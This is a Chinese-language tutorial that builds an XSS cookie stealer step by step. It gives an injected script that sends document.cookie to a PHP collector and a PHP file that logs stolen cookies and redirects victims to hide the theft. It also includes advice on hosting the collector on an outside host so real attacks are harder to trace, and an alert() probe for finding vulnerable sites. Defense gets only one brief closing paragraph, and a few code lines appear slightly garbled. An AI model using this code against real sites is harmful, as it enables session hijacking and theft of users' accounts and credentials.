JS写XSS cookie stealer来窃取密码的步骤详解
javascript是web中最常用的脚本开发语言,js可以自动执行站点组件,管理站点内容,在web业内实现其他有用的函数。js可以有很多的函数可以用做恶意用途,包括窃取含有密码等内容的用户cookie。
cookie是站点请求和保持特定访问页面的信息。cookie含有访问的方式、时间、用户名密码等认证信息等。当用户访问给定站点时,必须使用cookie;如果攻击者可以拦截cookie,就可以利用cookie窃取用户的一些信息。对某个特定的域名,使用js可以保存或修改用户的cookie。也就是说,如果攻击者可以利用js查看、修改cookie,那么这可以变成一种有价值的黑客技术。
基于js的攻击可以有效地与代码注入等技术相结合,这可能造成恶意代码在可信的网站上执行。
下面开始创建xss cookie stealer
step 1: 创建 html test 页
首先,创建一个标准的html页
mkdir cookiestealer cd cookiestealer touch index.html
然后,编辑index.html
nano index.html <html> <body> </body> </html>
测试页面
step 2: 创建cookie
创建一个可以插入到cookie中的基本参数——字符串。这个cookie只能用于本页面中,同样的,之后的注入也应用于该页面保存的所有cookie。
<script type="text/javascript">document.cookie = "username=null byte";</script>
该脚本要插入到html的<body>部分,如下:
如果运行该脚本的页面打开了,那么就会设定cookie,但是浏览器中不会显示任何东西。我们可以用document.write函数直接查看cookie。
document.write(document.cookie);
同样功能的脚本如下:
<script type="text/javascript"> document.cookie = "username=null byte"; document.write(document.cookie); </script>
在浏览器中打开页面,就会出现如下的cookie信息:
说明我们成功地为这个页面设置了"username=null byte
" 的cookie。
step 3: 用js脚本窃取cookies
我们用来传递cookies到服务器的js字符串使用了document.cookie参数,但是我们用的是document.location中定义的url。
document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;
在本例中,php文件定位到localhost(127.0.0.1)。
如果目标是社交媒体网站,脚本需要注入到该站点中,窃取的cookies要发送给黑客控制的ip或url。
把js代码吓到<script>标签中:
<script type="text/javascript"> document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie; </script>
html页面代码应该是下面这样:
剩下对cookie进行处理的部分需要php来处理。
step 4: 用php处理cookies
在上面的例子中,窃取cookie的php文件是cookiestealer.php,位于127.0.0.1网址下。
在实际运行中,不能用cookiestealer.php这么明显的名字,而且应该位于外部ip或url下。
首先,在index.html相同目录下创新php文件。
nano cookiestealer.php
第一个元素需要定义的是重定向页面跳转。
<?php header ('location:https://google.com'); ?>
为了不让用户意识到可能遭到攻击,最好重定向用户到相同域下的其他页面,这样用户就不会意识到。
重定向完成后,需要其他代码来处理cookie。
1. 分配cookie到一个变量;
$cookies = $_get"c";
2. 定义保存cookie的文件,这个文件保存的位置应该是我们控制的。
本例中,文件名为log.txt。
$file = fopen('log.txt', 'a');
3. 把上面的两个参数的内容写入log文件,即将cookie写入log.txt。
fwrite($file, $cookies . "nn");
代码如下:
然后,需要准备php文件的测试环境。
step 5: 测试cookie stealer
在index.html 和 cookiestealer.php相同目录下,搭建一个测试用的php环境。
php -s 127.0.0.1:80
页面测试成功。
打开页面之后,浏览器会马上重定向到预定义的网站,即google。
查看php服务器的日志,我们注意到传递给php文件一个参数,而且php代码执行了。
最后,我们可以检查我们网站目录下的log.txt文件来查看cookies。
cat log.txt
log文件中含有cookie的内容,说明我们成功的使用js代码窃取了cookies。
step 6: 攻击
cookies含有重要的用户信息,一般是明文的,有时甚至含有私钥信息。所以非常重要,使用js代码注入可以窃取用户的cookies信息。
该攻击可以注入到任何的html文件的<script>标签中。常用的检测xss的方法是使用alert。
<script>alert("alert");</script>
该脚本会尝试打开类似下面的alert信息。如果打开了,说明网站易受到xss攻击。
在现实的攻击中,黑客会特别注意php文件的位置。如果处理得不好,php文件会容易暴露黑客的位置。如果这种攻击出现了,那么根据cookie被发送和保存的位置,可以追踪黑客。
上面的方法说明了js作为攻击工具的强大性。js可以让web更方便 ,如果某个网站易受到恶意js注入,这会给用户和网站带来巨大的安全威胁。预防xss攻击的重担落在了web开发者的身上。如果用户认为运行在网站上的脚本是不可信的,也可以使用noscript来阻止js代码的运行。
总结
以上所述是小编给大家介绍的js写xss cookie stealer来窃取密码的步骤详解,希望对大家有所帮助
上一篇: angular.js实现购物车功能